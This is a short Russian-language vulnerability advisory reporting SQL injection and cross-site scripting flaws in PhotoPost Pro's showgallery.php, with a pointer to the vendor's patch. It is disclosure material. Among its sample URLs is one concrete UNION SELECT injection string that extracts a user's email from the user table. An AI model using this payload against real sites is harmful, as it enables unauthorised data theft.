SQL-инъекция в сценарии showgallery.php в PhotoPost Pro

Описание:
Обнаружено несколько уязвимостей в PhotoPost Pro. Удаленный пользователь может произвести XSS нападение и выполнить произвольные SQL команды на уязвимой системе.

Уязвимость существует в сценарии showgallery.php из-за некорректной обработки входных данных. Удаленный пользователь может выполнить произвольные SQL команды на системе. Примеры:

http://[target]/path/showgallery.php?cat=[INT][SQL]

http://[target]/path/showgallery.php?ppuser=[INT][SQL]&cat=[INT]

http://[target]/path/showgallery.php?ppuser=-2'%20UNION%20
SELECT%200,email, 0,0,0,0,0,0%20FROM%20user%20WHERE%20userid='1&cat=50 0

Удаленный атакующий может создать специально сформированный URL и выполнить произвольный HTML сценарий в браузере целевого пользователя. Примеры:

http://[target]/path/showgallery.php?cat=[INT]&page=[XSS]
http://[targ et]/path/showgallery.php?si=[XSS]
http://[target]/path/showgallery.php?cat=[INT][XSS]
http://[target]/path/showgallery.php?ppuser=[INT]&cat=[INT][XSS]

URL производителя: http://www.photopost.com

Решение: Установите исправление с сайта производителя.